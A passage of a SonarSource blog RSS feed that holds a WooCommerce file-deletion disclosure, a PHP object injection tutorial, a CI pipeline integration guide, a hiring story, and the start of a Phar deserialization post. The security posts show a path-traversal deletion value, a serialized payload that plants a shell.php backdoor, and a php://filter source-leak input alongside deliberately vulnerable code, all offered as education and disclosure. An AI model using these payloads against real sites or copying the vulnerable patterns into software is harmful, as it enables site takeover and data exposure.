8         unlink($file);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The issue is that the filename (&lt;code&gt;$handle&lt;/code&gt;) is appended to the Log directory (&lt;code&gt;wp-content/wc-logs/&lt;/code&gt;) and then passed to &lt;code&gt;unlink()&lt;/code&gt;. When setting &lt;code&gt;$handle../../plugins/woocommerce-3.4.5/woocommerce.php&lt;/code&gt; the file &lt;code&gt;wp-content/wc-logs/../../plugins/woocommerce-3.4.5/woocommerce.php&lt;/code&gt; would be deleted, causing WooCommerce to get disabled.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;What&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2018/08/30&lt;/td&gt;&lt;td&gt;The Arbitrary File Deletion Vulnerabiliy was reported to the Automattic security team on Hackerone.&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2018/09/11&lt;/td&gt;&lt;td&gt;The vulnerability was triaged and verified by the security team.&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2018/10/11&lt;/td&gt;&lt;td&gt;A patch was released.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In a previous post, we demonstrated how to exploit a file delete vulnerability in WordPress and how to elevate the file delete into a remote code execution vulnerability. The downside of that method was that all data was lost on the target site. The method detailed in this blog post shows how a file deletion vulnerability in any WordPress plugin can be used to escalate privileges where meta privileges are used. This design flaw still persists. File deletion vulnerabilities are not uncommon and even occur in the WordPress core itself. Note, that file delete vulnerabilities can also be exploited with Phar deserialization under certain circumstances.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[PHP Object Injection]]></title><description><![CDATA[A very common and critical vulnerability in PHP applications is PHP Object Injection. This blog post explains how they work and how they can lead to a full site takeover by remote attackers.]]></description><link>https://www.sonarsource.com/blog/php-object-injection</link><guid isPermaLink="false">577dfba5-f6df-5029-86ae-a86d01a8ec2a</guid><dc:creator><![CDATA[Simon Scannell]]></dc:creator><pubDate>Tue, 09 Oct 2018 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A very common and critical vulnerability in PHP applications is PHP Object Injection. This blog post explains how they work and how they can lead to a full site takeover by remote attackers.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;PHP Serialization Recap&lt;/h2&gt;&lt;p&gt;PHP provides a mechanism for storing and loading data with PHP types across multiple HTTP requests. This mechanism boils down to two functions: serialize() and unserialize(). This may sound complicated but let’s look at the following easy example:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;A PHP object is &lt;em&gt;serialized&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;?php
$object = new stdClass();
$object-&gt;data = &quot;Some data!&quot;;
$cached = serialize($object);

The above example creates a new object and the&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The above example creates a new object and then produces the following &lt;em&gt;serialized &lt;/em&gt;string representation of this object:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;The resulting &lt;em&gt;serialized &lt;/em&gt;string:&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;O:8:&quot;stdClass&quot;:1:{s:4:&quot;data&quot;;s:10:&quot;Some data!&quot;;}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The syntax of the serialized string is relatively easy to understand: The &lt;code&gt;O&lt;/code&gt; stands for the type of the serialized string. In this case the &lt;code&gt;O&lt;/code&gt; maps to a PHP &lt;code&gt;object&lt;/code&gt;. The &lt;code&gt;8&lt;/code&gt; separated by the colons represents the length of the name of the class the object is an instance of. In this case, the serialized object is an instance of the PHP built in &lt;code&gt;stdClass&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The following &lt;code&gt;1&lt;/code&gt; represents the number of properties the serialized object contains which are stored within curly brackets. Each property is stored as a serialized string representing the property name, a semicolon and a serialized string representing the value.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;While the property name is always a serialized PHP &lt;code&gt;string&lt;/code&gt;, the value can be of any type: &lt;code&gt;arrays&lt;/code&gt;, &lt;code&gt;integers&lt;/code&gt;, &lt;code&gt;strings&lt;/code&gt;, &lt;code&gt;objects&lt;/code&gt; and &lt;code&gt;NULL&lt;/code&gt; are the most common ones. In this example, there is only one property. It has the name &lt;code&gt;data&lt;/code&gt; and has the value &lt;code&gt;Some data!&lt;/code&gt;, which is a PHP &lt;code&gt;string&lt;/code&gt; (s) of length 10.&lt;/p&gt;&lt;h2&gt;PHP Deserialization&lt;/h2&gt;&lt;p&gt;The reason I touched on PHP serialization syntax is to make it easier to understand what happens when you call &lt;code&gt;unserialize()&lt;/code&gt; on a serialized string.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;The &lt;em&gt;serialized &lt;/em&gt;string is &lt;em&gt;unserialized &lt;/em&gt;again:&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;?php
$object = unserialize(&apos;O:8:&quot;stdClass&quot;:1:{s:4:&quot;data&quot;;s:10:&quot;Some data!&quot;;}&apos;);
echo $object-&gt;data;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;PHP will parse the serialized string with the logic depicted above and create an instance of an &lt;code&gt;stdClass&lt;/code&gt; with the properties given in the serialized string.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The reason developers do this is to easily and effectively store PHP data across requests, e.g. in caches or databases. A user session might be implemented as an instance of a class &lt;code&gt;UserSession&lt;/code&gt;. This session object can easily be stored as a serialized string in the&lt;code&gt; $_SESSION&lt;/code&gt; superglobal of PHP and be unserialized when needed.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Dangers of Unserialize&lt;/h2&gt;&lt;p&gt;Although this feature is very effective and easy to use, it does introduce potential security issues, to be exact when user input is passed to unserialize(). This can in fact lead to Remote Code Execution. For one, the PHP interpreter had many &lt;a href=&quot;https://blog.ripstech.com/2017/security-flaws-in-the-php-core/&quot;&gt;low-level security issues&lt;/a&gt; in this built-in function that could be exploited. But also, depending on the code base of the affected application, there are other ways for attackers. Let’s have a look at the following PHP code:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;?php
class LoggingClass {
    function __construct($filename, $content) {
        // add .log to the filename so we are really creating a log file!!
        $this-&gt;filename = $filename . &quot;.log&quot;;
        $this-&gt;content = $content;
    }
    
    // This method is executed for each object at the end of the PHP execution
    function __destruct() {
        // flush the logs
        file_put_contents($this-&gt;filename, $this-&gt;content);
    }
}

$data = unserialize($_GET[&apos;data&apos;]);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Here, user input is directly passed to &lt;code&gt;unserialize()&lt;/code&gt;. The next section will detail how this can be exploited.&lt;/p&gt;&lt;h3&gt;Magic Methods and Object Injections&lt;/h3&gt;&lt;p&gt;The &lt;code&gt;LoggingClass&lt;/code&gt; declared in the example above takes two parameters in the constructor: A filename to write to and the file contents. The magic method &lt;code&gt;__destruct()&lt;/code&gt; then actually flushes the log and writes it to the filename passed to the constructor. Note that the &lt;code&gt;__destruct()&lt;/code&gt; method is called &lt;strong&gt;automatically&lt;/strong&gt; for each PHP object of the &lt;code&gt;LoggingClass&lt;/code&gt; at the end of the PHP code execution.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Even if an attacker would be able to control the arguments passed to the constructor, he probably would not be able to exploit the vulnerability for the simple reason that a &lt;code&gt;.log&lt;/code&gt; is appended to the filename. If this would not happen, the attacker could simply set the filename to &lt;code&gt;shell.php&lt;/code&gt; and set the content to some arbitrary PHP code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, if an attacker supplied the following serialized string to the call to &lt;code&gt;unserialize()&lt;/code&gt;, he could still exploit the vulnerability with the following serialized payload:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;O:12:&quot;LoggingClass&quot;:2:{s:8:&quot;filename&quot;;s:9:&quot;shell.php&quot;;s:7:&quot;content&quot;;s:20:&quot;&lt;?php evilCode(); ?&gt;&quot;;}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Here, the filename property is set to &lt;code&gt;shell.php&lt;/code&gt;. The constructor of the class is &lt;em&gt;not&lt;/em&gt; called during deserialization, the object was already instantiated and is available in serialized form. However, the destructor is going to be called at the end of execution and it’s using the object’s properties. Namely, the destructor will call &lt;code&gt;file_put_contents()&lt;/code&gt; on the filename and content property that can be edited by the attacker by modifying the serialized string. This allows an attacker to inject an object into memory with the &lt;code&gt;filename&lt;/code&gt; property set to &lt;code&gt;shell.php&lt;/code&gt; which will then create a PHP backdoor on the server.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;There are also further ways for exploitation. For example, the altered properties could be used to call another method of an object. An attacker could then control the class of that method call and defer the control flow. Such payloads are called &lt;em&gt;property oriented programming&lt;/em&gt; and we documented examples for &lt;a href=&quot;https://blog.ripstech.com/2019/complex-drupal-pop-chain/&quot;&gt;Drupal&lt;/a&gt; and &lt;a href=&quot;https://blog.ripstech.com/2016/expressionengine-code-reuse-attack/&quot;&gt;ExpressionEngine&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;Object Injections in Real World&lt;/h3&gt;&lt;p&gt;Although passing user input to unserialize() is highly discouraged, such attacks still happen all the time. To name a few examples, we detected the following critical PHP Object Injections:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/php-object-injection/&quot;&gt;Pydio unauthenticated Remote Code Execution&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/php-object-injection/&quot;&gt;WooCommerce Privilege Escalation&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/php-object-injection/&quot;&gt;PrestaShop Remote Code Execution&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Related Posts&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/php-object-injection/&quot;&gt;Pydio 8.2.1 Unauthenticated Remote Code Execution&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/php-object-injection/&quot;&gt;Shopware 5.3.3: PHP Object Instantiation to Blind XXE&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/php-object-injection/&quot;&gt;A Salesmans Code Execution: PrestaShop 1.7.2.4&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/php-object-injection/&quot;&gt;CTF Writeup: Complex Drupal POP Chain&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/php-object-injection/&quot;&gt;Breaking Into Your Company&amp;#x27;s Internal Network - SuiteCRM 7.11.4&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/php-object-injection/&quot;&gt;phpBB 3.2.3: Phar Deserialization to RCE&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/php-object-injection/&quot;&gt;What is Phar Deserialization&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/php-object-injection/&quot;&gt;How security flaws in PHP&amp;#x27;s core can affect your application&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/php-object-injection/&quot;&gt;Why mail() is dangerous in PHP&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Fully Automated Promotion Pipelines with SonarQube and Artifactory]]></title><description><![CDATA[Catch builds constructed from poor quality code before they make it to production. Discover how to integrate Artifactory and SonarQube.]]></description><link>https://www.sonarsource.com/blog/fully-automated-promotion-pipelines-with-sonarqube-and-artifactory</link><guid isPermaLink="false">80e98e29-4c30-59ff-99e0-b2bc57c42a13</guid><dc:creator><![CDATA[Fabrice Bellingard]]></dc:creator><pubDate>Tue, 25 Sep 2018 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;This blog post is co-authored by Jonathan Roquelaure of JFrog and Fabrice Bellingard of SonarSource, and was originally posted on &lt;a href=&quot;https://jfrog.com/blog/fully-automated-promotion-pipelines-with-sonarqube-and-artifactory/&quot;&gt;JFrog blog&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;Editor Note: (Oct. 16th): Watch the webinar! The SonarSource/Jfrog joint webinar covering Smart, Metrics-based Release Management is available at the bottom of this blog post (no registration required).&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A &lt;a href=&quot;https://jfrog.com/blog/smart-metrics-based-release-management-with-sonarqube-and-artifactory/&quot;&gt;previous blog post on JFrog website&lt;/a&gt; showed how to connect Artifactory and &lt;a href=&quot;https://www.sonarqube.org&quot;&gt;SonarQube&lt;/a&gt; to help make better decisions when it comes to deploying or delivering good quality software. With a pretty simple script added to your pipeline, it becomes easy to see in Artifactory, if an artifact passed or failed the quality gate, and decide accordingly, if it can be promoted or not.&lt;/p&gt;&lt;h2&gt;Can’t we go a bit further?&lt;/h2&gt;&lt;p&gt;Now that we know how to attach quality gate results to artifacts, let’s not just gather this information as metadata in Artifactory. Instead, we want to automatically trigger (or not) a promotion based on this knowledge – like moving or copying artifacts to a location where they can be consumed for the next staging phase. Obviously, every company has its own workflow and should be able to implement its own logic for this automatic promotion.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Also, most real life projects have complex build pipelines, and development teams want feedback as soon as possible (the first or “commit” build” in the pipeline should be as fast as possible – as Jez Humble and Dave Farley say in their book on Continuous Delivery). SonarQube can take some time to analyze a project and provide the quality gate status, and the &lt;a href=&quot;https://jfrog.com/integration/&quot;&gt;integration with Artifactory&lt;/a&gt; should never block a pipeline; any other potential downstream step should be able to run while SonarQube is processing the analysis report.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So let’s see if we can come up with a non-blocking, customizable and automated solution to make Artifactory and SonarQube work together to help you &lt;a href=&quot;https://jfrog.com/artifactory/&quot;&gt;ship top quality software&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;A customizable automated integration&lt;/h2&gt;&lt;p&gt;These words ring a bell and we immediately think of webhooks, APIs and user plugins.&lt;/p&gt;&lt;h3&gt;SonarQube Webhooks&lt;/h3&gt;&lt;p&gt;As one of the many pieces which compose a CI/CD process, SonarQube uses &lt;a href=&quot;https://docs.sonarqube.org/display/SONAR/Webhooks&quot;&gt;webhooks&lt;/a&gt; to notify other services when the processing of an analysis report is complete. The HTTPS call is made regardless of the status of the processing task, and its payload contains a lot of useful information which will be used later on by the Artifactory user plugin to decide what to do for a given artifact. Here is an example of the JSON payload posted by a SonarQube webhook:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The interesting pieces of information in our context are:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;The &lt;strong&gt;taskId&lt;/strong&gt; – which will be used to identify a given artifact in Artifactory&lt;/li&gt;&lt;li&gt;The quality gate &lt;strong&gt;status&lt;/strong&gt; – which is the most important information that should be considered to promote or not the corresponding artifact&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;In SonarQube, webhooks can be configured per project (in the project settings), or at global level – which is way more convenient when most projects analyzed by SonarQube are also managed in Artifactory.&lt;/p&gt;&lt;h3&gt;Artifactory User Plugins&lt;/h3&gt;&lt;p&gt;With Artifactory Pro and Enterprise you can easily extend Artifactory’s behavior with your own &lt;a href=&quot;https://www.jfrog.com/confluence/display/RTF/User+Plugins&quot;&gt;user plugins&lt;/a&gt; written in Groovy. Plugins can implement a wide range of behavior such as executing scheduled tasks (e.g. cleanup), executing  your own logic in response to a specific event (e.g. change response on download, specific security realm,…) and even exposing new API endpoints (e.g. implement specific workflow based on a SonarQube webhook).&lt;/p&gt;&lt;pre&gt;&lt;code&gt;{
    &quot;analysedAt&quot;: &quot;2016-11-18T10:46:28+0100&quot;,
    &quot;project&quot;: {
        &quot;key&quot;: &quot;org.sonarqube:example&quot;,
        &quot;name&quot;: &quot;Example&quot;
    },
    &quot;properties&quot;: {
    },
    &quot;qualityGate&quot;: {
        &quot;conditions&quot;: [
            {
                &quot;errorThreshold&quot;: &quot;1&quot;,
                &quot;metric&quot;: &quot;new_security_rating&quot;,
                &quot;onLeakPeriod&quot;: true,
                &quot;operator&quot;: &quot;GREATER_THAN&quot;,
                &quot;status&quot;: &quot;OK&quot;,
                &quot;value&quot;: &quot;1&quot;
            },
            {
                &quot;errorThreshold&quot;: &quot;1&quot;,
                &quot;metric&quot;: &quot;new_reliability_rating&quot;,
                &quot;onLeakPeriod&quot;: true,
                &quot;operator&quot;: &quot;GREATER_THAN&quot;,
                &quot;status&quot;: &quot;ERROR&quot;,
                &quot;value&quot;: &quot;1&quot;
            },
            ...
        ],
        &quot;name&quot;: &quot;SonarQube way&quot;,
        &quot;status&quot;: &quot;ERROR&quot;
    },
    &quot;serverUrl&quot;: &quot;http://localhost:9000&quot;,
    &quot;status&quot;: &quot;SUCCESS&quot;,
    &quot;taskId&quot;: &quot;AVh21JS2JepAEhwQ-b3u&quot;
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In the following snippet:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;executions {
   //Expose a new endpoint for sonarqube webhook
   updateSonarTaskStatus(httpMethod: &apos;POST&apos;, users: [&quot;admin&quot;], groups: [], params:[targetRepo: &apos;&apos;]) { params, ResourceStreamHandle body -&gt;
       targetRepo = getStringProperty(params, &apos;targetRepo&apos;, true)
       bodyJson = new JsonSlurper().parse(body.inputStream)
	sonarTaskId = bodyJson.taskId
	//Implement your workflow based on SonarQube quality gate result
   }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;, we are exposing a new endpoint that can be consumed by SonarQube webhooks with the following URL:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;http://admin:password@&lt;ARTIFACTORY_URL&gt;:8081/artifactory/api/plugins/execute/updateSonarTaskStatus?params=targetRepo=gradle-staging-local&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;Jenkins as the glue&lt;/h3&gt;&lt;p&gt;In our Jenkins CI server,  we implement a &lt;a href=&quot;https://martinfowler.com/articles/continuousIntegration.html#KeepTheBuildFast&quot;&gt;commit build&lt;/a&gt; that is responsible for providing quick feedback to committer and (as described in our previous post) establishing the link between a SonarQube analysis (the task Id) and Artifactory build information (and related artifacts).&lt;/p&gt;&lt;pre&gt;&lt;code&gt;node() {
   stage &apos;Build get source&apos;
       git url: &apos;https://github.com/SonarSource/sonar-scanning-examples.git&apos;, branch: &apos;master&apos;
   stage &apos;Artifactory configuration&apos;
   // Create an Artifactory server instance
   //(ref:https://www.jfrog.com/confluence/display/RTF/Working+With+Pipeline+Jobs+in+Jenkins)

   def server = Artifactory.server(&apos;artifactory_local&apos;)

   // Create and set an Artifactory Gradle Build instance:
   def rtGradle = Artifactory.newGradleBuild()
   rtGradle.resolver server: server, repo: &apos;gradle-dev&apos;
   rtGradle.deployer server: server, repo: &apos;gradle-dev-local&apos;

   // Set a Gradle Tool defined in Jenkins &quot;Manage&quot;:
   rtGradle.tool = &apos;GRADLE_TOOL&apos;
   rtGradle.usesPlugin = false

stage &apos;Run Gradle and publish to Artifactory&apos;
   // Run Gradle build with sonarqube and artifactory tasks
   dir(&apos;sonarqube-scanner-gradle&apos;){
      def buildInfo = rtGradle.run rootDir: &quot;.&quot;, buildFile: &apos;build.gradle&apos;, tasks: &quot;clean sonarqube build artifactoryPublish --stacktrace&quot;.toString()

      //get variable from sonar report file (file and path depends on tools and CI-server )
      def ceTaskId = sh(returnStdout: true, script: &quot;cat build/sonar/report-task.txt | grep ceTaskId | cut -f2 -d&apos;=&apos;&quot;).trim()
      env.SONAR_CETASKID=ceTaskId
      buildInfo.env.capture = true
      buildInfo.env.collect()
      //Publish the build-info to Artifactory:
      server.publishBuildInfo buildInfo
   }
}&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;The Big picture&lt;/h2&gt;&lt;p&gt;Now we have a commit build on jenkins to allow fast feedback on commit (Does my code build in the shared environment? Did I break anything? Can I continue to code?).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;Commit Build Workflow:&lt;/em&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/6d5fe5df-11d7-4a0b-b3b4-51eda32c34c2/body-4a89e87625b2b95a09ac301594800b95a14693f7_commitbuild-01.png&quot; /&gt;&lt;p&gt;The logic regarding the results of the SonarQube quality gates is implemented in a second “staging” workflow. Here you can simply promote your build or also trigger external tools for more advanced tests, integration, deployment,…  &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;Staging Workflow:&lt;/em&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/e494b0fa-66fd-4c23-9885-531ee666f5af/body-3c64cac55667ccbf0a6b21248f87b8156fc96b9d_staging-02.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h6&gt;WEBINAR: SMART, METRICS-BASED RELEASE MANAGEMENT WITH SONARQUBE AND ARTIFACTORY&lt;/h6&gt;&lt;p&gt;&lt;a href=&quot;https://youtu.be/tfs9Dk6y8Ts&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[My Journey Interviewing with SonarSource...]]></title><description><![CDATA[What's it like to interview with SonarSource?  Read on and find out!]]></description><link>https://www.sonarsource.com/blog/interviewing-with-sonarsource</link><guid isPermaLink="false">ba522702-287f-59c5-8e14-2759e0a2c6f5</guid><dc:creator><![CDATA[Clint Cameron]]></dc:creator><pubDate>Tue, 21 Aug 2018 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I&amp;#x27;m a newcomer to SonarSource&amp;#x27;s Product Marketing team.  As an American working for a company based in &lt;strong&gt;Geneva, Switzerland&lt;/strong&gt;, I thought it would be fun to share journey through the hiring process.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarSource is a unique company and I mean that in a good way.  From the beginning, things felt different from past interviewing experiences.  And the further I went down the path with SonarSource, the more I wanted to know what was around the next bend.  So join me, dear reader, on my adventure...&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Soon after I sent in my resume, &lt;strong&gt;SonarSource reached out to schedule an interview&lt;/strong&gt;.  Most companies start the hiring process with a phone call from someone in HR that typically knows little about the real aspects of the role.  That first call is pretty much just designed to screen out applicants and make sure you have a pulse.  However, as I was soon to discover, that&amp;#x27;s not the SonarSource way. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarSource is headquartered in Geneva and I&amp;#x27;m in Austin, TX.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/bce72290-54b0-47b2-9ede-c392a533eb90/body-59424fa6d2c94a9ea107f810c6dd5c7537cf0ca6_map.png&quot; /&gt;&lt;p&gt;So, flying candidates to Switzerland for in-person interviews would be pretty expensive, but they did the next best thing - video conferences. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;My &lt;strong&gt;first interview&lt;/strong&gt; was a video call with two folks on the marketing team - not an HR screener.  The interview was informal, but focused. We covered several relevant topics and I was given ample time to answer questions. The result was that we covered a lot of ground and I was able to get a better understanding of the team dynamic.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/ba00d78c-8318-4a42-b282-1bd15bd10115/body-8a4147591a75e36487112d01bf1d49b7f996535a_visio-sonarsource.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;My &lt;strong&gt;second interview&lt;/strong&gt; was with the &lt;em&gt;People &amp;amp; Culture Gardener &lt;/em&gt;and we talked about cultural fit - both for me and for SonarSource.  SonarSource has a strong, product-first culture and it&amp;#x27;s one of the keys to their success and a recipe for continued growth. I&amp;#x27;ll go into it more in future blogs, but it&amp;#x27;s things like working in a flat org and making team decisions. Ok, next on the interview path was a &lt;strong&gt;video call with the CEO&lt;/strong&gt;. We talked about marketing open source products in conjunction with commercial versions. We talked about working in a company where you&amp;#x27;re expected to first listen then ask questions, take initiative and challenge the status quo as appropriate. SonarSource isn&amp;#x27;t looking to hire order followers!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is a company that strongly believes in &lt;strong&gt;cultural fit&lt;/strong&gt; and a &lt;strong&gt;team-oriented approach&lt;/strong&gt;.  This is a company invested in and dedicated to long term success and so they invest significant time and resources in their hiring process.  They prepared for the interviews and didn&amp;#x27;t waste time and effort asking overlapping questions. I&amp;#x27;ve worked for enough companies and I&amp;#x27;ve been through enough interviews to know this is the exception and not the rule.  Most companies hire for a warm body that can fill a specific role with the objective that the company gets an immediate bang for its buck.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the end, I was fortunate enough to receive an employment offer and I &lt;strong&gt;excitedly joined&lt;/strong&gt; the team. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/ba080408-cebe-4073-b1cc-62b1bd3c61ed/body-85e9ae969e4bc696f97ad112b7d80ae186cdf499_sonarsource-collective.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;After investing real and meaningful time to learn about each other, SonarSource and I concluded that there was a long-term, mutual benefit based on compatibility and goals.  A very logical and pragmatic approach, right?  It makes perfect sense to me, but most companies don&amp;#x27;t have this mindset - and that&amp;#x27;s OK. Companies are unique, just like people, and so values and objectives don&amp;#x27;t always align, but when they do it&amp;#x27;s pretty cool and the journey continues!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[What is Phar Deserialization]]></title><description><![CDATA[Last week a new exploitation technique for PHP applications was announced at the BlackHat USA conference. Find out everything you need to know in this blog post.]]></description><link>https://www.sonarsource.com/blog/new-php-exploitation-technique</link><guid isPermaLink="false">80dbac50-a33c-53ec-9555-124a5acae855</guid><dc:creator><![CDATA[Johannes Dahse]]></dc:creator><pubDate>Tue, 14 Aug 2018 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;The security researcher &lt;a href=&quot;https://www.twitter.com/@_s_n_t&quot;&gt;Sam Thomas&lt;/a&gt; from &lt;a href=&quot;https://www.secarma.co.uk/&quot;&gt;Secarma&lt;/a&gt; found a new exploitation technique that can lead to critical PHP object injection vulnerabilities - without using the PHP function &lt;code&gt;unserialize()&lt;/code&gt;. The new technique was announced at the BlackHat USA conference in his talk &lt;a href=&quot;https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It&apos;s-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf&quot;&gt;&lt;em&gt;It’s a PHP Unserialization Vulnerability Jim, but Not as We Know It&lt;/em&gt;&lt;/a&gt;. It can enable attackers to escalate the severity of file related vulnerabilities to remote code execution.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Stream Wrappers&lt;/h2&gt;&lt;p&gt;Most PHP file operations allow to use various URL-style &lt;a href=&quot;https://php.net/manual/wrappers.php&quot;&gt;&lt;em&gt;wrappers&lt;/em&gt;&lt;/a&gt; such as &lt;code&gt;data://&lt;/code&gt;, &lt;code&gt;zlib://&lt;/code&gt;, or &lt;code&gt;php://&lt;/code&gt; when accessing a file path. Some of these wrappers are often used to exploit &lt;em&gt;remote file inclusion&lt;/em&gt; vulnerabilities where an attacker can control the full file path of a file inclusion. For example, the wrappers are injected to leak source code that otherwise would be executed, or to inject own PHP code for execution:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Remote File Inclusion Exploitation&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1    include($_GET[&apos;file&apos;])
2    include(&apos;php://filter/convert.base64-encode/resource=index.php&apos;);
